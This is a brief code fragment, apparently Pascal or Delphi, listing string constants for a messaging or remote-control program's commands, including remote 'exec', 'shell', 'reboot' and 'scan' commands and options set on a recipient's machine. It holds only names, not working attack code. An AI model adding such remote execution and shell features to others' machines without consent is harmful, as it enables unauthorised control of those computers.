  cmdfont='.font';
  cmdping='ping';
  cmdecho='echo';
  cmdtime='time';
  cmdmotd='motd';
  cmdver='vers';
  //remote commands
  cmdclose='close';
  cmdopen='open';
  cmdexec='exec';
  cmdshell='shell';
  cmdrestart='restart';
  cmdreboot='reboot';
  cmdscan='scan'; //recipient must have McAfee's scan in C:\SCAN
  cmdupdate='update';
  cmdsynctime='synctime';
  cmdauto='auto';
  //set recipient's auto options
  cmdautostart='autostart';
  cmdautopop='autopop';
  cmdautotypo='autotypo';
  cmdautosend='autosend';
  cmdautominimize='automin';
